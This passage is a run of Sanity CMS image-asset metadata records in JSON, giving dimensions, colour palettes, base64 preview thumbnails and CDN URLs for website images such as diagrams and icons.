ggEKv","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed814747e2ed138c8c1bed58e34b559e52da4b7d-3880x1610.png"} {"_createdAt":"2024-03-07T15:09:10Z","_id":"image-29c0a9913c5483aa1cc36c4777568f9fa301da64-3944x1610-png","_rev":"TOsxXx20RF0WqO4quZqDxm","_type":"sanity.imageAsset","_updatedAt":"2024-03-07T15:09:10Z","assetId":"29c0a9913c5483aa1cc36c4777568f9fa301da64","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8CQoHvt}L3H#t00t%TEvpSu00_M0J-EM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.449689440993789,"height":1610,"width":3944},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAACgklEQVQokVXOXU+SYQDG8ZtZ8SAI8uY7PiCYJMNcLZtsmKbO90xtlkWCLV2Kc0vATE0QuB9EvMFsNzolUJzWatNiHMgajE2zcigHfBE/gNPG1knXdp3+9gfFoiJCJJER/Oo+jrD6MUkq7shlslK5VCq7LpZIxCRJckmSpMvkpVdqu+tp3y9joGJODWrXukAwvA2Sp0lwdnYGLi4uwPn5OQD36hqyWjt7iGadidmsNeS092pFnT29ZMfDR4WNLe38xua2zKbWDuJWZRUdAED7cfkL5I5KgKKmAjT0NAFpqRT8t77+FwLTjJVtW8Qci3OZP+vwcGfsLvaM3cWahYiwUJ6reuMbxvC8IdsUsnCfRUaZlYFGQum/f4339SbNMPwatLS1ArVaDVQqFQAa3aBg2rbAd3hW8im3t2B+aZW7sLzOdH3w0V3Yl7FoD9D05gm6OeyU2BNLtwfjJmlFoD6nzt/Nf/8ZF+xHIvJEIqFMpVLKZDKpBL1Ptby3c/PcNAYRLoEISyDCJES4ECLMhS5M6K2TTMMXs/jdT6fiZcxYVL5Rm63xv8r17fjrQ6HQZDwedxwdHVEHBwcUeKIZ4E9ZnTzK7RVBhMsgwjcgwuUQYfk/PM8ArUKde6xgaNeY1x8ZY5dv1RFavz57dXvt7u63PV00GtUfHh6OpA+eDwwJp20LAsrtTRely9JwPkQ4FyKcQ7m9ggkb5BuDFrHl96Jy/M9csWrnQVbVegtrZMvE/bi3yY/GYrzj42PeyckJD2gGhoSTZorj8KywIcIciDALIpwJEWZAN2ZQyMsYnzKzrGFUglKr6ulTp0L9qYsrX6vJKgvUMIFPkLEfDIONrQ0Q3AyCv1xA9R9eSNcvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304c3b","foreground":"#fff","population":0.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08441c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#304c3b","foreground":"#fff","population":0.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6d4a4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#adeeb9","foreground":"#000","population":0.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6fa176","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#77cf8c","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"semantic-search.png","path":"images/sczeoy4w/production/29c0a9913c5483aa1cc36c4777568f9fa301da64-3944x1610.png","sha1hash":"29c0a9913c5483aa1cc36c4777568f9fa301da64","size":267162,"uploadId":"jagBVj9j5xDZMxVpVpehPNyqIwmil2e3","url":"https://cdn.sanity.io/images/sczeoy4w/production/29c0a9913c5483aa1cc36c4777568f9fa301da64-3944x1610.png"} {"_createdAt":"2024-03-07T15:12:03Z","_id":"image-659909932ef93c52c1b1b3f1c5c8d460b21f59c0-1567x844-png","_rev":"QYGdEGGMhf311CDlzovkY3","_type":"sanity.imageAsset","_updatedAt":"2024-03-07T15:12:03Z","assetId":"659909932ef93c52c1b1b3f1c5c8d460b21f59c0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC8EGp-.ISs:WE?wt6M{ogWCITRkt6ofjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbUlEQVQokSXQaU/aAADG8X4CKb3vA1pEBcUt2RanohFERa5KS7tylkvqGGIWxcEIGqfbBHRZNDHKd93Ykv/bX57kAWBaw3mDEE1SLFCiRbqqtGTTcpORj9nZz/z8ueDri/6BOH/Oelqky8b4Q5gpgoThwNOA5LPeBdvB8Ol6qLMe7q6GemuhwWr4Mhi53ooOQ7G77fjvcPwhtH+3GrrwBo4J0Ua5BsSUnVQWmAvUwtEvCfUydnCZ0K4V4zalj2LqWDF+5yovZnmi5l7U/CRTeEpow/dbvbnXXdbbwcU2JjSBhVf1aKqv6FcJ9UrRv2vZkWrex7VxQvtlWs+mNUnqT+ncRC89p4zxbvLH2vZQDgwoqUN7+lO8l/waT1/sJAb7B1cp/TaVGcXSo7h2nzIeEpmH6MHjnvK4HrldXun635x5l88YuYWLLUrqAO750srGSTB8trJ5uhHp7SW/ReI3oejNTnK4k7zb2h9v7t6/3fjp8ncwoYGwJYjOQ1QOZkoYbwMIo1Euk5HytFQUvDXZ35R8x27fibx46gmcy0tdeakvLPQIV2t6EpmF6ML/UK4OODBlGq6CpO6kshBdgpkqwjVQ/gjhbZS3MbGFi22UtyG64CRNhK2hfANmLJgpAwSZEjhVkHO0VETZAkyXELaKTrENsxWILsJsGeUOEbbqJLMgaaBcHeUbEJ0HCR1wccqirC8GqrK/TooWylkYX8OFI1z8iHIViM7CTA7lKghrgYQBEpl/myUHkZnBFIATdZf0we0tCrNlRqrQcp31HHGzn3hvm/U0KXeFcldoycb4MkhkHLjqJE2QNGbw9F/8B9vgrZ1qq6UzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353267","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146e","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbea","foreground":"#000","population":8.82,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dbea","foreground":"#000","population":8.82,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#757abf","foreground":"#fff","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f92","foreground":"#fff","population":1.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252d91","foreground":"#fff","population":2.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rag_openai_opensearch.png","path":"images/sczeoy4w/production/659909932ef93c52c1b1b3f1c5c8d460b21f59c0-1567x844.png","sha1hash":"659909932ef93c52c1b1b3f1c5c8d460b21f59c0","size":140392,"uploadId":"3WCgCNStbYSQpfG3R1UOzqTBC1rk1YH4","url":"https://cdn.sanity.io/images/sczeoy4w/production/659909932ef93c52c1b1b3f1c5c8d460b21f59c0-1567x844.png"} {"_createdAt":"2024-03-05T10:23:12Z","_id":"image-06e1dfb7f12250568264e65f98a5848b3d7236ac-4280x1800-png","_rev":"Aaow4ZewAH4cr6S8WhLYYK","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T10:23:12Z","assetId":"06e1dfb7f12250568264e65f98a5848b3d7236ac","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD7wpT~W%MEM57JWJCRkrqv|M{NGWWofod","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3777777777777778,"height":1800,"width":4280},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7ElEQVQokYWRzWvSARjHP7+furlS04lWK0dbL+SaVup8V1RcxEJWbPYypzVHL2S1ChLRZMpAWxuZsTdW4ewYdOsQBJ061inq2qW/IKhLxOIn0qHD+sLD83yfw/d5+WKJZxmbqajP3Htyebzw9NNEqfH14ux6/vztOeP7H5uMXy8I07fyCIIgA7qADraC6cRVxm6WlfFsPXahuP4mWXr+MV1ayyQyOb2pt6/DEzqpPO70ywVB3AX4gEFAD6jboWtzKataoqNTM2Iiu2hK3l9KpYor+alCPRA7m1JbHR6NMxDVHjRbNaIoeoAckAa8wDHA3q7DQLDF4+UXJB++5EauKLtUeLQ7WXhsPne3YnAGhtU2d8Aw5I8YDg0cNcrlighQBK4ATsDcFvUCw8CpVk5Ump2pakNXW8zq39ZH976qTex7UL7W7Y+OqGzuoM7hDXdbbC6tsmtbf3sLK7ADUAIaQHpFH3C4NWSy0tSnqg3L/ELe8XnJ4/q2bLF9qAeNmenTigF7QObyheR2b0im0erkbVMU/9ggmSX1OlsxWWmqktWN3rmF2QNfljz7f66aTN9X+1Wbr48QH/HRMxjGGYiiN+zc0ty/SFY3JFHxznxN9q4eE3+t9Qi/Vww8S+/BPBTB7QticwfZrpau+z/+AKd2cqTnllLcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#635434","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#904104","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#90aec6","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#90aec6","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ac44","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#548494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ce7d10","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-ai-eversql.png","path":"images/sczeoy4w/production/06e1dfb7f12250568264e65f98a5848b3d7236ac-4280x1800.png","sha1hash":"06e1dfb7f12250568264e65f98a5848b3d7236ac","size":186474,"uploadId":"j4ML9eBA7X7lYUWskyWSszGAznlAjjhj","url":"https://cdn.sanity.io/images/sczeoy4w/production/06e1dfb7f12250568264e65f98a5848b3d7236ac-4280x1800.png"} {"_createdAt":"2024-03-05T10:25:12Z","_id":"image-1e387105c2f5fec0149cf51456c935618261e184-3333x2369-png","_rev":"Aaow4ZewAH4cr6S8WhLi4D","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T10:25:12Z","assetId":"1e387105c2f5fec0149cf51456c935618261e184","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VJLXDI0000x[00E3Dh%2t-n200ob_N^kyCTz=p9vjERk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.406922752216125,"height":2369,"width":3333},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAADoUlEQVQ4jY2Re0xbVRzHr10c87GObSSaGmLcwz+cCn/5yky2v6ZbYrZQNx4dhPa2PFq3hAFdEIkGXyFj/cPKZteWFjGwxD/sZKuRrSshGyWVgOvUJViqAwoX6G25fdzHOfd3zC3rYqImnuR7zvnm/M7nnHx/FJkn1POle6j/MwghqqHv1su/cCdcNkeC6eljZhvPTNzYf+jr6RdeuRjeXW4fokrUJdSmR1RKvTI9SlFU0X9oczAYePrebKIpPJ2aGZ9MSbfDXDowvrTYa59cOfzu5diu8gs3C49vKtqy47mt6tK3t23fXan+u4p3VW7fubdSU1p2wtTY1hwKzfgYJsWxyRxJZ0TIZBEOh2PI2vINe+jNrp8LwMf37C3THjhwbORYReNd7QnLnYrj5siGLJHjVaciutrWOx2dtnuBG6E1NpHCSJIIgAyEAKzO/orHeq2ZK3WvxgvArUeOHDV//pltzue7Tn4cnSBX/ePkmn88vw/cDJPg2BQJTUbI3NwC4dbTIIoSYIyJjDFIsRDmnUclob1IKgDV9fX1Zp/vSnSFWSW5rCAnWQ44Lg05XgBJQoCQDAhh4HkBstkcCIIACCGCEAIcuw3I/Q6gs1vIQ6DBYDCPjIxEEwmWSCKCbLpwSQKEMWAMgLEMoiDmgTzPg6TAEIJU9C755atOuNXyFvwDyLIKUIRMJgO5XA4EUQRelCAnYBB4lIetr3OQTmdAFEWCMYY/oqvgso9Be9Nl8q9A5VfZ7AOgIDwAIuB5MQ9i2aQSB1HO0ukMmfxpiXzU85tcZZrKPmwKTdNmv98f5ThOaZwsiiJIUj54kGUZZBnyUjLbiAIDRhKJ/j6HnP3BNUvbxHSVaerbPE2lUql1Ot17w8PDsWg0SpaXlsj9P++Thfl5El9czHtmmSEMs6FlhiErq2uwGI+T66OjnNV6zqfVDemrG2ZepwKBYFFNzclnKyq0Zzo6OiIOhyPp6fewLqeTdbtcbL/bzSre6/GyXq+XHfB6k4Med2bI40CDzi9Jz8ddcUOdruekrumlS+4fnqQGBga3dXV9uK+2tq66urqmW6832GjaaKMNtM1goG2KV1aaVrzx/GljrcPWfPjWoGU/N2h5I9drPBg8Xa9tfv+Dzpc9rksllN3et7m7+5PiduvZp5rNFo3R1KAx5dWooWmTRq+nNTRt1JiMxmfqDA2aa6fKXlto3XEh0fZEQtF8687z37cffLGlu6/44rlPH/sLaa+n1kICaysAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303466","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#632004","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97506","foreground":"#fff","population":3.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1b599","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#868dec","foreground":"#fff","population":0.7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9966b2","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97506","foreground":"#fff","population":3.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hero-dragonfly-screen-laptop.png","path":"images/sczeoy4w/production/1e387105c2f5fec0149cf51456c935618261e184-3333x2369.png","sha1hash":"1e387105c2f5fec0149cf51456c935618261e184","size":906448,"uploadId":"EPB7Y01c5GsgaIYEXewTXkTJLA0ly4Ff","url":"https://cdn.sanity.io/images/sczeoy4w/production/1e387105c2f5fec0149cf51456c935618261e184-3333x2369.png"} {"_createdAt":"2024-03-05T10:20:25Z","_id":"image-f671c7b68000a2c3b49f22341c025ad47a2bed93-3120x2410-png","_rev":"Aaow4ZewAH4cr6S8WhLGjy","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T10:20:25Z","assetId":"f671c7b68000a2c3b49f22341c025ad47a2bed93","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VMA^arVs19r==o00oz=oW=EnIUkBs8bHSi~qV@Eoni$c","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2946058091286308,"height":2410,"width":3120},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEOElEQVQ4jY2Pe0xbdRTHf/d3b9+0lNdoe3t7bx/0tqUtbW9fFGgJo+ORoYbHpiCSgTPExLnpZOseDFDUEJzBCVGMkowtuJFtYWCkwDLYHKDglAlCFpKpyRJlAtOt/oG71hQf0cw/PMk35+Tkez75HgD+ozAMAwgCAYqisZmDYRwJhmHxGIZxAYJseiCE4H+VzZ29CYIQjXUERVEeiqJiCKEEQsiDECIIgmwCmUz/wwAmM/AvxYAxGNyEwpiwGAj5A8aNAf/cAwVBPXQPLA43UGt1QKlUAoIggFJJAJlMBjrebAcAgUAiiUcSEhIxsVjM4XA46F9BeDzeppcgCIDjOEgzmIDNnQWA2eYEFEUBwT9SU5QaOLw5wJW9FZptTq5Wp4/TaHUik9XBYzJzod2TDayM929/NBoFXACA3ZMDgMPrh7acIpiRVwrtwR3QkV8BbdkFMMOVBV2+AJdxeyVmS3pKTG6vN97nD/Cd3mzUnhOETHEF9JU+BQPlNTDrkcehy78Nxl4WGGhaYE0jBXaaFBg1SpFOqxEZLTaelfHyNQaHRE6akxWUOQXXMlKNyS20Ml6uwWTmaVWEgJSlCghZqlCtIgXpGYwAmCx2kdZfnqSvbNWn151wWZ582WLMr0zV0iaewUhzGmrkSf0tiaZwW4LnTGOS8XCNQmrQ67A0T0Do2fsaXni831byRh8T3PeKKiMzIAFpBbVxpuf73L5j4aPB18dPFrVNvBpsHfU79g8KvjuH8lfDKb77Y8qWyKjm5M/DdNPqkMnzTa+Sl/b+9aTcgeXyivC3XbWjt96pG/q6suytc0ogq+rALQcHG57omlwI9c9H9pz+avmxE5+1eFpnVNFZAc7O6BrZz3032dn8yIOpwBI7YQtFRtQK9dCaNTB6p6f66o939kyurNZP3O6rGpj3g8SqTn3avvNd1V2f/NT+0WL0pQ9v/FJ0fPIU03zFHL0uNbJz9h52sTTCzu+Msp9m32PHNe/eG5bTqqG7nsCltcG66fVfX5xZY+uvfj+y8+JSMUjc0Y4n7z7dYA9dXChpvxwpbBtfdjeNtZgOj6uic1KcnXc0/rZYeJO9sTXCTtFLDy4nhzbCYsWWoQiZeWn9UNm1u5O7ptanq6+sNJec/SIdaAp2xwmrup3S2t5D+LNne9R7LzTrX7iQpXnmlHDxfLLg/qzBu/Gl5djGLN2zcU1+NDImdS18IOFLOuf4+oHbRvvHK2VZ4R/K8wZvWbIOdIgB4/VzFSUNImnl20RizXsmxa5uSrv9OamOTo/T03RcqF6dNNKtoKd7Zcxwp1x/8Gkq0WS28q02J5ZceYArPHJGJGnsF+GV+3l2p5cL7L48mOnxIBVuCjkSxBGfQQEpiopTkaRcRZIKJUGlyhXUFpmClMlxUq4kyFRKrRYbbU700W0FSEgFkCYlQLbnBqA7rxj+DvmXQA5bB8acAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#584a28","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c5104","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c010","foreground":"#000","population":3.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3c5d6","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#75f4fa","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c945c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c010","foreground":"#000","population":3.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven for AI serving layer (1).png","path":"images/sczeoy4w/production/f671c7b68000a2c3b49f22341c025ad47a2bed93-3120x2410.png","sha1hash":"f671c7b68000a2c3b49f22341c025ad47a2bed93","size":205315,"uploadId":"G3ioyxjSJMO0b5liJ5w8hZHLnnYP6Fxn","url":"https://cdn.sanity.io/images/sczeoy4w/production/f671c7b68000a2c3b49f22341c025ad47a2bed93-3120x2410.png"} {"_createdAt":"2024-09-16T17:25:12Z","_id":"image-069c2e6dd26390780741b6196ca68faca97babfb-24x24-svg","_rev":"2eqiUp79DxBCItwrHvSbq7","_type":"sanity.imageAsset","_updatedAt":"2024-09-16T17:25:12Z","assetId":"069c2e6dd26390780741b6196ca68faca97babfb","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e05E$[9F00IUIUayfQj[ayj[00RjRjIUM{ofayj[ayay00%M?bxuM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB90lEQVQ4jbWVzWoUURCFu0eJURQySRRcuHEEwZlbX3UPigsDbgVBMFFUEEHciAt1JxjEGHwBQRcKKi6ErFxEwf/El/AdfAs515qmE9xMjA1FFbduVVedU11dFEVRmFkWd2/sfr9fpJQKIIt8bS3RvcFgUAyHw+a8uaRgiZ6qqjrAHmAK6ErcfYMOmTKzfWY2oVglzwl7vV5TTV3XO929B1wE7gEPgSV3X2rrOF8EbgKngf1AmcseVWlmHXc/DNwFVoEfwBqw7u7rbR3yHfgKvALOq+ImYVR4ALgBvAfeAreAeYm7LwAL0u4+HwkuRbUfgadA3YBrZnuBs8AK8C5annb3CWAXICiE7Q4gnwk7oB/JVMS5EWNynAjHJ+A2cBDYzZ9HGB1KKXWCqJPAqSBlBngEfAOuCLsSOAI8AL4Aj4FjKaUymBQEr4E7wHHgAvAcWI646WhbWF9VQgVdi5JfAHNmNhkwaHTOAG8Cp5cBx2qwOxsvFfsiLCcUBk+Az8B1taExEusabmAmXihWfwE/o8WjZVnmgmKU5P8/Cbvb3XL5j6R0N5CyTWOz3IzNVgfb3SfrupZvEIV8yIO91U8v5HIQInyfAcOxl8PIdve1vyyH7tjrq2Xr/H5rfc2aWTn2gt1ky58XrPJUVZXjx/oFbLZ1R4lG5P4GQ2NEn/rZNRkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":6.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":6.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"delete.svg","path":"images/sczeoy4w/production/069c2e6dd26390780741b6196ca68faca97babfb-24x24.svg","sha1hash":"069c2e6dd26390780741b6196ca68faca97babfb","size":864,"uploadId":"Ff33AMKJTAD2sxTxsRcpcPMJ9gM681pI","url":"https://cdn.sanity.io/images/sczeoy4w/production/069c2e6dd26390780741b6196ca68faca97babfb-24x24.svg"} {"_createdAt":"2024-09-16T17:26:57Z","_id":"image-edcb0a616ac46f128e6eac17b2dcb5940f6b2ef0-24x24-svg","_rev":"kRa0sLdvlB8lPXh7myxrzW","_type":"sanity.imageAsset","_updatedAt":"2024-09-16T17:26:57Z","assetId":"edcb0a616ac46f128e6eac17b2dcb5940f6b2ef0","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e04ec*of?bay4n9Fj[-;j[M{00ayWBfQWB?bWBIUayt700WBIUj[%M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACYUlEQVQ4jY2VwWuTQRDFv5YcmiCoeGgRQUJKYppmf5PGptAm9iL0KERRD1J6EvJXpJbWY2svHio9FKpghXqztaU38dRT8eDZv0TeOl8IwaZdGDLfzpu3u292J0m9Xk+q1WoSQkgA2YiZpX60dPTPOWYk/VZ+rVZLkoWFhehMTU0Ngq9DmKRksvn5+SSS5fN5TWSAW8CEmd0GMkMIM46Z8JzM9PR0XCTRkYEcYEAHWDOz58AdASLIR/rtMWHWPMdCCNm4ODDKv7EBnJjZoZl1fKeXESrWERY48dwQQhjVUbW7FeA7sGtmT82sCGSbzWY84uzsbNJoNKLfarX0mxVGWGDXc1fEJcK7QBf4BiybWS4VuVgsxh1Jn1SjUqnUK4KwwDJwJA5xabUHwCbwFZAu94Bxia1CFQqFWDjZ5ORkf/HGHfvCc8VREmEd+AD8AHaAt8A68FqxEMKNvush/6HH1h2747niiBVuAV+AP8C5b192DLwDFqWNa73oc8d9uHPPFUcUeMn1+2Vm22b20k2JZ8B74JWb/DMz2+rDbSvXOZZE2PbSfzSzpoSu1Wo5M9PO94HfwE83+fuKOSanHOCTc7RF+ExHMLNNM7ufPiv5mgMugM9uF0Nwx+IS4WPgANjrX9m13QN0eZ+4HQ7BHYhLhAXgDXAq3VJtXPxTYBXIu61egSvoKowBjzxwNGBbHhus8mW4sfTWD96v3j0E4j28Li5pt9vx4fsLuOktSSY/o1i32+01iGE4vf3YWFWtcrnce6Np965UKr1GmvrDcOr8sZMM/gX8r7XPzc1diZuZmUn+AsuOOAZVDMP+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":7.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343434","foreground":"#fff","population":7.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"glasses-02.svg","path":"images/sczeoy4w/production/edcb0a616ac46f128e6eac17b2dcb5940f6b2ef0-24x24.svg","sha1hash":"edcb0a616ac46f128e6eac17b2dcb5940f6b2ef0","size":963,"uploadId":"D9BKizks35Wdhy5MLpUnvpys5DBBxlYg","url":"https://cdn.sanity.io/images/sczeoy4w/production/edcb0a616ac46f128e6eac17b2dcb5940f6b2ef0-24x24.svg"} {"_createdAt":"2024-02-15T10:37:29Z","_id":"image-815831c321aa22eb7e35df02bbee2e680af2fce6-1600x1074-webp","_rev":"VG7d2o4nr7oZbH2jN3ihpB","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T10:37:29Z","assetId":"815831c321aa22eb7e35df02bbee2e680af2fce6","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VXPPr?AF8^TK8_ysr?xt%1R%4TWBtmsokqpdjFi^fiRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.48975791433892,"height":1074,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAPoAAAD6AG1e1JrAAADzElEQVQ4jUWRbUxbZRTHb0x0I5rM6YxGhotZjB/UOPm0D3RjI0ZdQpljJjBNpsNEjU6KQBmMrTBGZYSMYmBUEDfQESgDKhsFNvzqkjnYTVYKZGaEW15KaW/vy/M897lvzzFFoyf5JefL+Z3/yeHEFN4++yC8u7unL7u69oKj3H3uYHnV+dyKfyl3n8utPOPJrTnf6CirrH1n9Ldb7wlCtCuZTD5QVXXOMMywaZpBTdOcidjqk5yk0O2N3pZ9BYUfVx4+UtR7KP/kwCHnqf/Izf9s4HBBycCRoq/7Cz+tvOa55L/x58zD+UQiqSKEiGmaxLLs+1Q3i+Oq9RS3kZAzysoqc7/8yjVY721L+LoGcNtPN1BrVwCn+aFnGHVcHUU//nIT9QxOqsGpP/D8wpIpJkXAGINhGGDp2oKejH6BprzPcNHVzQx3VXXe5cutN+/evUfX1jdhZXUDHi+twHJ0HWJxERJJGRKiAklRAVGUQUrJoCgKI4QwSikzxGjMmLneYrW+vZcTovGM6pravM5O/9jC/DwxqA5UQbacEBlSFGbpOrOpzgyNMjuNihiWZfa/UANjLUzN6YtB+/us/dxydCOjuvps3pUrnWNzcxGNEg2IjJicEEGRZNAQBk1FgBQVqIpAlxRQUimQZRkwJkzXdTDXHprWbc+E7c3M4ZaWY9tKXWUH2ts7RiKRCNHTCQlhqiQBkmUgCAHVKGiaAVQzQdd0wAiDqqKtcy3LAjsWMew79aEt4Qw//0Rh4fFsn6+tPxKJYEopUI0wpMiAFAUwUkHTKBBqgUZNoNRIy7YSEqIx0zTBWgub1pRnwm7MzOEAgHM4HG/4fL6+xcVFlN5oGjojCDGCVNA1wqz0kGUDsxnYlrX1XVmWQCOEYVWCJB8ylf5TIVb/XA6XLofD8VZzc/OvPM8TWZJBTKbYRizO4hubLN3Lks